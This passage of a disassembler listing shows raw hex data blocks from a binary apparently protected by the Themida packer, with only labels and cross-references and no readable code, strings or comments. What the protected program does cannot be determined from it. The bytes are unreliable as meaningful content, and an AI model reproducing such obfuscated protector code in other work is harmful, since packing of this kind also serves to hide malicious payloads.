		dd 6680610h, 8900001Bh,	100EB595h, 0BB665F06h, 308B6CBAh
		dd 81C8B70Fh, 7D6FD9F6h, 759D8B30h, 81061013h, 6C8FABF6h
		dd 91958913h, 8106100Dh, 3D983EEh, 2DCB8020h, 199D8956h
		dd 8F061006h, 83CB8B00h, 9E802E8h
		db 3 dup(0)
byte_5BBC43	db 7Dh			; DATA XREF: Themida_:0054C1FCo
		dd 232AF3FEh, 0FFC0B9A1h, 7D5BD89h, 485A0610h, 0CE948h
		dd 71810000h, 0E6399E1Ch, 932D8068h, 0EF8149FEh, 1, 0FF98850Fh
		dd 0E8F5FFFFh, 9, 8644B2B1h, 0A1101F6Ah, 8D8D8BA8h, 5F061000h
		dd 813AD780h, 5A35C7h, 0FD8D8900h, 0BA06101Fh, 5D08FD0h
		dd 99B2F281h, 816605D0h, 8B5FADDBh, 45BD8937h, 81061008h
		dd 65E1BDF6h, 99858B17h, 81061022h, 5C1242EEh, 68E0F2Ch
		dd 8B000000h, 100A219Dh, 0E4C68106h, 8016375Bh,	378909E1h
		dd 1DD18589h, 0EF830610h, 8860F02h, 0F000000h, 28Bh, 4F5B5000h
		dd 7DB5894Fh, 81061032h, 1EAh, 15850F00h, 23000000h, 100BB585h
		dd 1BE906h, 0F6F60000h,	932A0331h, 548F814Dh, 5226BB66h
		dd 0FFFF86E9h, 1A0F5EFFh, 3C38EDBDh, 608D8D6Bh,	89061709h
		dd 10239DBDh, 0F58D8906h, 31061009h, 102A959Dh,	0C7F88B06h
		dd 10231985h, 6A0C06h, 8DBD8900h, 0C7061022h, 1022C185h
		dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 53293B1Ch, 3C5C475Dh, 0B5FFF9AFh
		dd 610232Dh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0D1C35545h, 881B38D2h, 8BFAD22Bh, 102D9DBDh, 95FFFC06h
		dd 6102DB9h, 6800Fh, 0B5330000h, 6100115h, 95FF006Ah, 61031C9h
		dd 79EBC08Bh, 72B4DB16h, 0B09ED5E2h, 0A2848D94h, 3138EC0h
		dd 14F8A24Ch, 7BCAE13Bh, 7B0DAC17h, 1E4E0A60h, 0AC5A3765h
		dd 0E251FB46h, 4883F072h, 0B3A0C9EBh, 0F1FEFCFh, 360899D5h
		dd 68D26195h, 4D1A3CCh,	0F27D6044h, 48722AE0h, 8CDE20E0h
		dd 84E8CD6h, 594DDB55h,	881F927Fh, 6A31BF9Fh, 7A279F80h
		dd 0D58BF6C0h, 57188A0Dh, 0CB46FC4Bh, 0FBACA562h, 5DCDD457h
		dd 0F320EB11h, 9D8D8DA4h, 6A06170Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 66F1C350h
		dd 8983B0BEh, 1009F58Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 2620980Bh, 0DBC38044h
		dd 231985C7h, 5E240610h, 0C7F90000h, 1022C185h,	6, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 67BAE7F9h, 0B5FFF674h, 6101B25h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 8C35343h, 1BB703BDh, 0FB8B866h
		dd 2DB995FFh, 0BF0F0610h, 0FF006AC3h, 1031C995h, 0EBC08B06h
		dd 86D9E019h, 0F1F1DAD5h, 849313DEh, 0AD8CCBD8h, 3F96C9D9h
		dd 0A02F7090h, 8D8DC6D9h, 6170B2Fh, 89E3C480h, 1009F58Dh
		dd 0C78CB606h, 10231985h, 6CD406h, 68D0F00h, 81000000h
		dd 0A2B23FF3h, 0C185C772h, 61022h, 0F000000h, 388h, 0FFB70F00h
		dd 0EA5B5FFh, 0BF0F0610h, 0B995FFC1h, 6A06102Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
		dd 56F6C357h, 31C19589h, 6A580610h, 0C995FF00h,	8B061031h
		dd 2A1AEBC0h, 0AD6136ACh, 4FF4259Ch, 0B5F2368h,	562C8B1Fh
		dd 3F55C49Dh, 679FC019h, 0FE883h, 0AF800000h, 6B4F8DA1h
		dd 7446EF40h, 4A0A407h,	880F65h, 58000000h, 816DD780h
		dd 67EEC0h, 0DCBAF900h,	8B000019h, 2BE6608h, 7EE981F5h
		dd 8A303840h, 77C181F9h, 8B28DB84h, 1015F59Dh, 92E98106h
		dd 0F5A4AACh, 0C89h, 68C0F00h, 0F000000h, 81h, 0BF0F5100h
		dd 81008FFFh, 0BE79BE8h, 19D8B04h, 81061024h, 0BE797C0h
		dd 0EDB58904h, 4A06100Dh, 0FFA9850Fh, 8529FFFFh, 61006A1h
		dd 0CA88D8Dh, 81660617h, 898DCAE7h, 1009F58Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 7782F18Dh, 48896B86h, 0E7802621h, 85C7F58Bh,	6102319h
		dd 6EE4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0FEC35141h, 6542C434h, 95898A23h, 6100F2Dh, 22C185C7h
		dd 610h, 8D310000h, 610327Dh, 11EDB5FFh, 0E9600610h, 14h
		dd 0DD4CD498h, 49DB912Bh, 60734AE7h, 0DE4ECA92h, 0AB268152h
		dd 6AF18151h, 5B166E2Ch, 0B995FF61h, 6A06102Dh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 4459C357h, 0F82C8927h, 95FF006Ah, 61031C9h, 68EBC08Bh
		dd 0B5B6AB06h, 0CE8F95Eh, 0F0CAD46Eh, 8ECD974Bh, 0FFCFC336h
		dd 0F9650019h, 0EB196865h, 5C0A3EE8h, 0D8026691h, 8C66B3A9h
		dd 0C697BE7Eh, 7C51B13h, 78920EAFh, 0ECBE05B2h,	0D7D1544Dh
		dd 2A16AE8h, 87210B79h,	7B132679h, 8680BB3Eh, 0BB92639Eh
		dd 0C60194A4h, 0F2A94955h, 0BDC11374h, 770932C2h, 7332FC37h
		dd 0E02D2768h, 0AE8h, 0FF46B800h, 0BB6F4236h, 58DDB6A3h
		dd 11E99D23h, 0C0810610h, 6882h, 2BD2BF0Fh, 19533FFh, 0FF061001h
		dd 0BE90734h, 51000000h, 0E9B68D7h, 657914C6h, 8A59E8E8h
		dd 10E981FDh, 6057A982h, 0DD19D89h, 0B58B0610h,	61013E1h
		dd 35E98161h, 8B348E5Ch, 101C89B5h, 46E98106h, 8B7923FEh
		dd 10348D9Dh, 0B5895106h, 6100715h, 0E938048Fh,	11h, 0B5AEF67Dh
		dd 0E7311246h, 0ECFDB8E2h, 26ED6B9Ah, 49B5898Fh, 81061009h
		dd 0AB89E6EFh, 9D09606Bh, 61008C1h, 0C78161F9h,	6BAB89E2h
		dd 0CAEB8160h, 615145F7h, 9854FF81h, 850FFFFFh,	0Dh, 0E9F38B66h
		dd 1Fh,	98C78BB8h, 4985891Ch, 0E9061009h, 0FFFFFF57h, 1A0C7A3h
		dd 0E3A3565Ah, 0AEF52EF7h, 0E8C0DA3Ah, 12h, 1B4893B7h
		dd 702DF7F8h, 49E80C62h, 0FA26DC6h, 8B50E73Eh, 10084D9Dh
		dd 505E5806h, 880F57h, 58000000h, 4CC6815Bh, 3100006Ch
		dd 101E819Dh, 1AE36806h, 858B0000h, 6102321h, 0E9606059h
		dd 9, 53DF443h,	2B8CC93Fh, 8B0F26h, 61000000h, 6880Fh
		dd 0D7810000h, 77288C1Dh, 0E936FF61h, 0Dh, 88268C4Eh, 9E1DC3CCh
		dd 76AACFC8h, 8B605AEFh, 1008E595h, 0D18D8B06h,	61061019h
		dd 0B5E8F281h, 8A0F5ED9h, 5, 0FACFBFBBh, 0C9F28178h, 8B1D0E38h
		dd 100E4D9Dh, 97F28106h, 53064363h, 0C5705ABFh,	16895F4Ch
		dd 5919D29h, 0EE830610h, 5B86604h, 850F49FEh, 0FFFFFF9Dh
		dd 2CE9h, 2A224400h, 2Ah, 9 dup(0)
		dd 5BCE900h, 8F3F0000h,	6309904Ch, 8429B02Ch, 63088F4Bh
		dd 8123B226h, 64A08642h, 971352F6h, 0B02C6D20h,	8E4A8529h
		dd 0AF2B6007h, 79C9C0BCh, 9D6BDB72h, 79327440h,	97395044h
		dd 8E3408BDh, 0D7536F53h, 0A760DB05h, 0F3A27E72h, 6DCC7C4Fh
		dd 0FFEF2AE0h, 0C2FFA423h, 40752EA5h, 46F1DA54h, 5A3619A4h
		dd 0D1711832h, 356DCCF0h, 0F0972439h, 0E675C7BBh, 130F0342h
		dd 90C77D36h, 5BFAC9E4h, 3105BC7Fh, 0D551457Ah,	0A85FDCF1h
		dd 8A40B773h, 0A65CDB4Fh, 0F6C5B76Bh, 7D361352h, 978BCCh
		dd 66651148h, 0FC37EBBFh, 0F6AD2CD8h, 4AE99AC1h, 8E25DC86h
		dd 14C803A7h, 0D7A9DE85h, 6F235E04h, 111C42EAh,	92AE8DB2h
		dd 25A2C9B5h, 0EA6DCC6Bh, 0EEBF3AD9h, 0CE336B1Eh, 47h
		dd 4479323Ch, 7CBB0950h, 0F0846DCCh, 7CA71B0Eh,	0E33F6DCCh
		dd 5B9E3506h, 336B3592h, 172h, 7A32D800h, 5EDD4F43h, 0DB574ABh
		dd 0E96DCC7Ch, 0C794698Dh, 9F36EA21h, 0A8C3AFECh, 13B97817h
		dd 32D960DCh, 32AB41FDh, 0D9533F7Eh, 7CBE0407h,	0DE8F6DCCh
		dd 958DE99Dh, 51F7C499h, 0B96F661Ah, 7C259D8Ch,	65C16DCCh
		dd 97889581h, 5658BCB1h, 61964D0Ch, 0AA9FAB5h, 916FD1C6h
		dd 0CC13289Ah, 7B50CC6Dh, 0ECD09A8h, 4691D58h, 93E1FA76h
		dd 0D4A9CD72h, 0E1D6507h, 0C2484993h, 0A27C3014h, 4C387317h
		dd 9F4813E8h, 6A1FB66Ah, 5F144531h, 61DC25C0h, 8D4C336Ah
		dd 8DE99DDAh, 4B5C0860h, 0A2B718B1h, 6A2Eh, 7E329C00h
		dd 8D34533Fh, 0B60DA054h, 3372161Fh, 0D4C0077h,	52392719h
		dd 6DCC7CF0h, 78431814h, 0B9EA96D3h, 538E6B0Ah,	0C3336B34h
		dd 5FA568Ah, 0DECDD3A1h, 92334864h, 0ABC0A480h,	5345h
		dd 7E328700h, 7D9533Fh,	7C9032D9h, 0F8746DCCh, 0CC7CB111h
		dd 4D9556Dh, 0AC589337h, 52D37251h, 0EC9A569Eh,	59130FC1h
		dd 0D72BC17Dh, 6ED4D7A9h, 866DCC7Ch, 7C47FBAAh,	0C39F6DCCh
		dd 40772DA6h, 7CB80554h, 407F6DCCh, 356944A1h, 149336Bh
		dd 0C3000000h, 4E427B32h, 6EA95DDCh, 0EB29E259h, 0FDF4DD67h
		dd 0E722C8F3h, 371B373Bh, 0BAA594Bh, 0FCAF832Ah, 734FD3BFh
		dd 9A4B6AB7h, 0CC0B53EFh, 0FA37EC6Dh, 0FEAF2602h, 0C4C799BDh
		dd 67FC7127h, 9D8F83DFh, 117AC8C3h, 2CD3943Ch, 77270BF7h
		dd 0AE55DEFBh, 0F2DBC579h, 95A1FAB2h, 41FACF9Ah, 0FAA1558Ah
		dd 943CB74Ah, 3D993807h, 6E8BCA7Eh, 0F7093EE5h,	9185BC64h
		dd 77FEB895h, 0F0E79BD0h, 0A51D0C37h, 41943CB7h, 381501E5h
		dd 0FEA58C23h, 874A15C9h, 67397A6Ah, 176h, 6468759h, 159E4DE8h
		dd 436FD3C2h, 1087943Ch, 0C681C5Dh, 0D73913E8h,	0E2EEC4A9h
		dd 56A00A69h, 0CCB613AFh, 8A81F36Dh, 6DCCB638h,	876480DCh
		dd 0E2FCDFF6h, 0FCEC1227h, 8C78F467h, 0B346B9B2h, 44FB1819h
		dd 0BEF3AC27h, 3A9300Ah, 7B24AFCCh, 0F1373446h,	652B6694h
		dd 675E203Dh, 0EA718BC0h, 81BA6F43h, 98B59195h,	3BEFE6h
		dd 94D37514h, 2BCA79E0h, 0C990E8A5h, 393DE926h,	41E07F24h
		dd 26D9558Ah, 397A5ECBh, 0D452123Bh, 5582B96Fh,	13E8EA74h
		dd 4F5Dh, 0C15CAF00h, 0D949401Ah, 0FDEDCC7Ch, 9C267521h
		dd 0B1EDCC7Ch, 0B8CFC3FCh, 3A21D514h, 0FFE6EA89h, 0FAAA140h
		dd 533F8031h, 9E528F34h, 0A8C29EC2h, 257895D6h,	0E0656E3h
		dd 2BD05239h, 78F46DCCh, 9843C4h, 806D0000h, 91C80593h
		dd 32FACF0Fh, 0DC83BD5Ch, 0FAB1CBA7h, 67FC0C91h, 0B420F075h
		dd 6E88F633h, 0B2CC9E52h, 238E4BF7h, 9AAFAB94h,	79356A21h
		dd 60144902h, 238F8E39h, 0AFF0A194h, 0DB1DC4C3h, 0A865EAF6h
		dd 0EC98BCD4h, 6BFE39EDh, 3C8F3DD4h, 0BE65CC63h, 6970D589h
		dd 0D3B15872h, 0B39E184Ah, 0EA71CBB7h, 181C0845h, 0C0B4EBA1h
		dd 13CC8764h, 0CEA032DEh, 0B7C69C9Dh, 9FBC69ACh, 0CFE665FCh
		dd 4937F20Ch, 29942FF8h, 0A5C1FCB2h, 855910CBh,	76FAA6E1h
		dd 0ADCAA65Ah, 0BD5CA329h, 0FAA6DD83h, 7C398980h, 81DD6DCCh
		dd 916F8165h, 4076135Ch, 0A4B9DCABh, 0F76A99E7h, 9FD7967h
		dd 0CAA4D992h, 2D4DF5B4h, 0CDA99425h, 855426B0h, 0DBFAA6E1h
		dd 3D39ED26h, 0FE444719h, 1694252Dh, 0CD763D1Ah, 0BDBDEC98h
		dd 66C07862h, 4D8E3FFAh, 1B00DD59h, 0B1E69D84h,	0E2C1AE9Fh
		dd 7EB1E69Ah, 6805BD6Ch, 85E1A060h, 0C067EE68h,	0E3FF3AF0h
		dd 0CA7E3D2Fh, 42E56E8Bh, 0EC871105h, 9C8F7155h, 0A0606826h
		dd 0CE8562BEh, 0DD0EE015h, 0E6C4FF3h, 44655215h, 5A0A0FE0h
		dd 42B97D5Ah, 37A05489h, 0Ah, 9A215F85h, 6AC6BAF3h, 8032B78Dh
		dd 9952493Dh, 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh
		dd 8126A551h, 94395044h, 7830A75Bh, 50CF5541h, 405E089h
		dd 83000000h, 48704E8h,	0C895C24h, 0E6895624h, 4C681h
		dd 0EE830000h, 24348704h, 2434895Ch, 81E68956h,	4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 97BE241Ch, 0D13A3A05h,	0CFF56EEh
		dd 0EE815E24h, 1705F3D7h, 4EC81h, 24890000h, 24048124h
		dd 4, 8B8505Bh,	5000000h, 288445Dh, 5D2DD801h, 89028844h
		dd 1C8B5830h, 0E6895624h, 4C681h, 0C6830000h, 24348704h
		dd 24348B5Ch, 5E08950h,	4, 8704C083h, 0E95C2404h, 0FFF96BC8h
		dd 5C3D758Eh, 0DF2EC1B2h, 8B807FAh, 3061714h, 55E0FFC5h
		dd 0D061EF7Bh, 914FEEC8h, 724B6738h, 5D2D4D3Eh,	904C1212h
		dd 0CE3D83A0h, 0BB243327h, 0F02D3D58h, 0D24B647Ah, 414AF0DBh
		dd 0BD348B2Eh, 420130E1h, 0E46FDD12h, 547F1A5Bh, 6E258931h
		dd 4C4C0DDBh, 5F474B8Fh, 0BA38A9C2h, 0AF17594Ch, 0BB4EC588h
		dd 0E34C635Dh, 4F4A9E69h, 0E128184Dh, 16430E27h, 9137A62Ah
		dd 9849192Ah, 0B62CD9D4h, 0E83C93B7h, 6, 0F949857Ch, 0E9606471h
		dd 0Dh,	0B23D7B28h, 38562198h, 66BA04DFh, 61EC8A25h, 0DE959h
		dd 9F080000h, 0F9F3E33Fh, 5F3BFA6Bh, 81EAC8D3h,	5EF7C1h
		dd 1799BB00h, 0BA660000h, 31FF3E90h, 0BF58D18Bh, 6D0FBDA5h
		dd 65B1C081h, 0BF667659h, 0E881706Ah, 197471DDh, 8E3EF081h
		dd 8F5000A7h, 7A58BA01h, 0E9830D6Fh, 4949FC01h,	0E3CA8149h
		dd 4B7338FCh, 0C850Fh, 18E90000h, 2E000000h, 5E85FB8Ah
		dd 0D6810589h, 1E13E88Ch, 0FFFFADE9h, 0A30EAEFFh, 82CAD25Bh
		dd 889A075h, 0DC781469h, 60638DA6h, 2E863635h, 908635A1h
		dd 480AD925h, 99053025h, 14962374h, 76023F25h, 7863025h
		dd 528F4198h, 0A5893023h, 90863057h, 6B63B5E3h,	4CC83635h
		dd 0DA6D2741h, 2DA204A4h, 7BE699E5h, 52956190h,	0AB03BD23h
		dd 6F8023A0h, 8E76BBF5h, 34A5D5A0h, 36EE7E23h, 8858931Eh
		dd 68E21411h, 0F77946C4h, 27963954h, 150CB5A8h,	98793636h
		dd 343FC8AEh, 0FB863025h, 986302Dh, 8A033F83h, 0B863025h
		dd 0A489F92Eh, 6F79CFD5h, 48863DCCh, 0A11BBD25h, 0AA80206Bh
		dd 9863020h, 390BD3DAh,	449125E1h, 3707BDA8h, 823E3632h
		dd 63000000h, 826FF1EAh, 889A075h, 0DC781469h, 60638DA6h
		dd 2E863635h, 908635A1h, 480AD925h, 99053025h
dword_5BCB08	dd 0F305E983h, 22B9A4h,	0FE80000h, 3A000000h, 3A66391Eh
					; DATA XREF: Themida_:0054C344o
		dd 0FC5D66A2h, 549F3790h, 0BD317FFBh, 6100ED9h,	81FB8B5Bh
		dd 59EBC3h, 35B58B00h, 68061009h, 1641h, 20FD8D89h, 295A0610h
		dd 1004E58Dh, 0E833FF06h, 0Ch, 0EC5CD7E5h, 0DBBA334Bh
		dd 5079B958h, 5EF0B70Fh, 0FDB58B58h, 8106100Bh,	0D86ECF0h
		dd 0EE86010h, 0FF000000h, 65361803h, 9932B29Fh,	9916B9EFh
		dd 5F5B514Bh, 38F08161h, 891ADF45h, 10094D85h, 0E5C08106h
		dd 0F2CBF04h, 389F0B7h,	68D0Fh,	95290000h, 6100EF9h, 1CEDEB81h
		dd 895319F8h, 1032DD8Dh, 0C3815F06h, 19F81CE9h,	26A2E981h
		dd 0F4A58C6h, 1F85h, 9DBD3100h,	0E9061005h, 2Ah, 9A28E1E9h
		dd 0F059F43Fh, 98544E20h, 0D5DFCF23h, 4CD86FE9h, 241D8531h
		dd 56E90610h, 0EFFFFFFFh, 1DAAC45Ch, 0F4AE47FFh, 24E9567Eh
		dd 28000000h, 0C675h, 7	dup(0)
		dd 0E9000000h, 8C5h, 0BE7ABD6Dh, 0DE5A9137h, 0C579B257h
		dd 0D8549136h, 0BC70AF61h, 8C40B2CEh, 670A914Dh, 7F23B226h
		dd 5A118844h, 0BAC6A925h, 0DB6B73CFh, 8E16936Bh, 0CC7C4502h
		dd 6131DA6Dh, 0DC5074ABh, 2CA6C902h, 0DFD77CB9h, 0FFF2AD6Dh
		dd 708D6922h, 2CDF060Dh, 6DCC4296h, 0B50DFC6Eh,	516DCC42h
		dd 0FBD5F1D5h, 0FC43EB10h, 0D3BF9B67h, 0F22BE259h, 1A322FEh
		dd 7552CEC2h, 0FCB0ABEh, 5B0FDF88h, 0BFA3E485h,	0BE7DEFA3h
		dd 5DD9CD08h, 3C0CB380h, 7024385h, 2AC73E51h, 5FD65A46h
		dd 9E826EADh, 16B7CEC2h, 4AA21D5h, 493D782Eh, 0E1D09EDh
		dd 2DEAD66Dh, 752EF78Eh, 0A1C502A5h, 0EC9F722Dh, 817F397Ah
		dd 0CD000000h, 2D3F7E32h, 7CEA5853h, 0E0A6DCCh,	68F34D39h
		dd 289A91C2h, 0CC6DCC7Ch, 0EB57450h, 34492DD9h,	0DAC605A7h
		dd 69209B7Dh, 0BE04430h, 103D9938h, 73A6C25h, 0CF8C61F4h
		dd 0AF6ADE1Dh, 336AC35Eh, 3B3Eh, 4D78C00h, 0F67A265Bh
		dd 77B65AE1h, 7C63DC8Bh, 0DB46DCCh, 0F8850CBh, 0DBF76669h
		dd 0C2F7B027h, 6E226103h, 0BF0DA47Bh, 240DA4DBh, 0AC2F4180h
		dd 6CC8BCF5h, 425EC78Fh, 0AE000000h, 0FBA47E32h, 84F6AAC6h
		dd 0AFAA1A47h, 0EB9CC1FAh, 0F62FD609h, 0BE06FDDAh, 8F6DCC36h
		dd 0D4F39FDCh, 0AA05F130h, 0A9607A19h, 6DCC3619h, 0AA4521FDh
		dd 7E607A19h, 0CC35378Bh, 7653CF6Dh, 10CC0BBDh,	6004D77Ah
		dd 0CCF17521h, 6548607h, 0E07D5A10h, 16E802D9h,	88659E43h
		dd 0FC82BA9Bh, 0F3972267h, 83DFA3B8h, 1851F88Fh, 377015A4h
		dd 0C76AF14Bh, 0C1969A86h, 34469524h, 0C661C75h, 721EFA9Eh
		dd 0F332D160h, 0A1D67A4Eh, 2C2158EAh, 8460BC9Eh, 0B86DEC60h
		dd 0EEDE6576h, 7C3B6C29h, 0BEB28EC3h, 2C933B97h, 7C13A49Eh
		dd 4B59715Ah, 6F23F5FAh, 0EA2CE15Ah, 486B33ECh,	6A920EAh
		dd 9B31ADC9h, 8E1CC35Ch, 4002A9D7h, 0A46DCC7Ch,	0C5F3B3C8h
		dd 5B4E7932h, 6DCC7CE7h, 793F23FFh, 2BF69735h, 0B366B22h
		dd 4Ah,	70D03835h, 559A0F83h, 0C35CAC78h, 0D4D78E1Ch, 6DCC7C6Eh
		dd 0C4576764h, 36A232FCh, 37056121h, 4D7F5D7h, 5C7F1A5Eh
		dd 0C29DA6E0h, 0B76EF29Eh, 4521D516h, 0BDF6AB28h, 408A42EFh
		dd 39h,	3F80B40h, 474A1967h, 0C35C9A32h, 6D1C421Ch, 6DCC7CD5h
		dd 8C183531h, 0B7C4A9D7h, 330A4E1h, 0A410BC2Bh,	9FB5C1B7h
		dd 0B261E1CAh, 0B3A36DCCh, 32F5D7E5h, 4274427Bh, 6104D78Ah
		dd 0DBF07420h, 7E72A760h, 0C8FDD9D7h, 417C326Dh, 52933655h
		dd 6908B79Eh, 58F7C863h, 41FD32D9h, 2BD716BAh, 0CDB9F8ACh
		dd 7C31A890h, 0FE952643h, 0E2569537h, 6FB6D617h, 29B633h
		dd 32140000h, 63504479h, 0B6758754h, 67FC1D45h,	64BCEFFh
		dd 0A39CB814h, 9E4F1610h, 0C5A2BEFAh, 12AD59D5h, 6C1312B1h
		dd 32E58337h, 63504479h, 0B6758754h, 67FC1FADh,	0EA71ED49h
		dd 26180C41h, 0DF632638h, 379423A0h, 0A0F64C3Bh, 120E9423h
		dd 3A974E35h, 734C19B5h, 25E4FADCh, 18B10E9Dh, 53E0FD79h
		dd 0D9C377ACh, 596EAF62h, 0BFE29E2h, 18B10EB7h,	3EFD34Fh
		dd 9AB427AEh, 0CD246E1Fh, 5F28A99h, 969A866Ah, 0BFEC9FC1h
		dd 4712814Dh, 738D6FEBh, 0A1520AB8h, 596EEA02h,	1CC35CD3h
		dd 5D83FD8Eh, 7C3A8883h, 7EDA6DCCh, 0CC7C2B97h,	6A4FCB6Dh
		dd 7A51D102h, 3B11E60Eh, 4002A9D7h, 0A46DCC7Ch,	7F28B3C8h
		dd 8A9304Ah, 351AB2C7h,	222BF697h, 0B29B366Bh, 701AF539h
		dd 73D3F827h, 90ACE0B9h, 3A2DA3B8h, 9F000000h, 113C35Ch
		dd 92F85E1Bh, 0D7BE8C68h, 0CC7C6ED4h, 9A67646Dh, 34E8C149h
		dd 0C7A35774h, 458026B5h, 2CF8D551h, 7B32F5D7h,	3E427442h
		dd 978BC87Bh, 40E6BE9Bh, 36h, 1CC35C8Ch, 6ED4D78Eh, 0A46DCC7Ch
		dd 0F5D7EAB0h, 2A77B32h, 7D59DDC9h, 5F96D7AFh, 0C0D8F88Fh
		dd 60B1087Bh, 0C465A27Bh, 0CCED7DC5h, 0B99D996Dh, 35124B02h
		dd 7932F68Eh, 0FCAF2A44h, 0B5169ABFh, 0DE5C8A45h, 464E1D09h
		dd 9B6DC820h, 1BC46D04h, 208939F0h, 49389230h, 95B0EFCh
		dd 3419150Dh, 46B155A6h, 8A3E2295h, 661A590Bh, 927EBD6Fh
		dd 2FD863B5h, 8470AB5Fh, 54D0C4A0h, 240DA477h, 0BB01A680h
		dd 0F8005453h, 6480641Ch, 0F7DC35E8h, 2ABC336Eh, 0E000000h
		dd 50447932h, 75875463h, 0FC0CD5B6h, 9BB5B167h,	502D6C20h
		dd 5794374Eh, 38792CABh, 0F392314Ch, 32D1F2CDh,	0A3174CF3h
		dd 5C04D705h, 0D48B4825h, 44206104h, 87546350h,	26E5B675h
		dd 6E5F67FCh, 65EA0271h, 84BD64FDh, 847E960h, 3F43181Ch
		dd 0C69567E3h, 972EE223h, 6BC7BBF0h, 5CDA7287h,	0FD8E1CC3h
		dd 447932CFh, 0E085542Ah, 7C4200A7h, 0C6A26DCCh, 0A9D71BB1h
		dd 0CC7C4002h, 45BA6F6Dh, 0A366B9A1h, 0E45A6FEBh, 222BF646h
		dd 3D0B366Bh, 81000000h, 8E1CC35Ch, 7C6ED4D7h, 0F866DCCh
		dd 2D3F2358h, 7CEA5853h, 41E86DCCh, 6DCC7C81h, 1D190965h
		dd 0F5D76440h, 74427B32h, 30408A42h, 40000000h,	7B37DC0Bh
		dd 79303438h, 0EAC297D8h, 8E1CC35Ch, 7C6ED4D7h,	0B0A46DCCh
		dd 32F5D7EAh, 4274427Bh, 0FEC30D3Eh, 44C8209Ch,	0FBA7E085h
		dd 32CA6277h, 43B79h, 6D1FA366h, 7BF76DCCh, 590F074Eh
		dd 0D2E2897Dh, 0F6DC8E2h, 571011B0h, 782FA622h,	53624F43h
		dd 0D2B37688h, 0AC98079Ch, 0D76EFCB0h, 7C4002A9h, 0C8A46DCCh
		dd 16C952B3h, 32CFFD90h, 35764479h, 5C04D797h, 8E4F4825h
		dd 6E366B21h, 5Ah, 81C35CDCh, 81E591CEh, 38EC21CAh, 0D792183Ch
		dd 2496D7A9h, 1B353B6Fh, 4FC67C2Bh, 421E6DCCh, 6DAEF215h
		dd 5F7CE6E8h, 0CC451EA4h, 0AC7AF66Dh, 7B32F5D7h, 3E427442h
		dd 708DC67Bh, 2A9D7D4h,	6DCC7C40h, 5C11C8A4h, 279B4623h
		dd 0A5000000h, 7C72D0BBh, 96926DCCh, 0C35CEBC1h, 269A3913h
		dd 0AE64F76h, 6ED4D73Ch, 0A46DCC7Ch, 0F5D7EAB0h, 74427B32h
		dd 79328A42h, 0DDC906A9h, 0B7897D59h, 7C60E2C9h, 0A8846DCCh
		dd 2C417E31h, 0C8FD717Fh, 7E15AE6Dh, 1DB10B7h, 0C0E593CCh
		dd 3348191Ch, 3E732CABh, 306D852h, 92373FBFh, 5FFEDB57h
		dd 97698358h, 373F2E94h, 5DE5A492h, 0B992373Fh,	9469C5BDh
		dd 6C28BD6Ch, 0B1B69807h, 7C34B623h, 4804E0F3h,	1CC35CC2h
		dd 5D04D78Eh, 8CF4CF1Bh, 0CAA616C2h, 817D5AD6h,	447932FBh
		dd 0F6973576h, 366B222Bh, 56ECB29Bh, 1C2C446Bh,	37893Fh
		dd 5C030000h, 9421CC3h,	0A08B46E7h, 6DCCB622h, 418166C2h
		dd 663E1BDDh, 7C6ED4D7h, 0AA866DCCh, 32F5D71Ch,	4274427Bh
		dd 53408Ah, 1E400000h, 0CC7CD76Bh, 16332F6Dh, 1CC35C8Eh
		dd 0D56D1C42h, 316DCC7Ch, 7CF64C3Fh, 120E6DCCh,	96D5772Eh
		dd 0D4D7EBC1h, 6DCC7C6Eh, 48AFA7A4h, 35225B12h,	0D74E3A1Ah
		dd 51D7FB30h, 4D7F5D7h,	0F0742061h, 70A960DBh, 203E42AAh
		dd 0CC7CD969h, 0CE13D6Dh, 44793240h, 91546350h,	37EB22CAh
		dd 7CF64C3Bh, 120E6DCCh, 0E86D1C2Eh, 1667FC12h,	0B2419E1Ah
		dd 25165729h, 0ECFD2E64h, 6200C269h, 88E49423h,	2B97926Ch
		dd 0CB942362h, 0A3667A4Fh, 9E180DF7h, 2B9938Fh,	0EB94134Ah
		dd 9166CAB6h, 184DF695h, 4CFFBAA4h, 0EAFF630Fh,	9185BA71h
		dd 0E5D60FCAh, 0C178E495h, 27FCD10Eh, 0CD02A988h, 0ACE18A11h
		dd 0A14586F8h, 1187BA3Ah, 9C4F0CE1h, 1BCE8D5Fh,	2D4A26DAh
		dd 0D2896771h, 3A09DE1Fh, 0BCF19A9Bh
		dd 9DD27900h, 1000E9h, 0DE000000h, 0CA16972Bh, 0B2586F80h
		dd 0A67E5B77h, 80326D5Fh, 9952493Dh, 7519B064h,	9E4F463Ah
		dd 7E32A95Dh, 9034533Fh, 8126A551h, 94395044h, 7830A75Bh
		dd 52CF5541h, 0C281E289h, 4, 3304EA83h,	14312414h, 24143324h
		dd 11C5685Ch, 3C890000h, 7B576824h, 2C890000h, 17C56824h
		dd 3C8B0617h, 4C48124h,	54000000h, 83242C8Bh, 815704C4h
		dd 0BD22434h, 458F6C12h, 8BB5308h, 1000000h, 0D23381EBh
		dd 5B6C120Bh, 50242C8Bh, 405E089h, 83000000h, 48704C0h
		dd 3C8B5C24h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h
		dd 5FF2E95Ch, 4F1EFFF9h, 0B6EDFB72h, 0F2F4C2B7h, 0D655C5D1h
		dd 1FFCB89Bh, 0C5030617h, 938AE0FFh, 4ADD27ABh,	79C9450Ah
		dd 867259B8h, 0EAA521E8h, 343C640Eh, 0ABC61DE1h, 0F13A4E69h
		dd 25822657h, 4D326C5Eh, 46C91C62h, 0CD395435h,	0EBAF14A1h
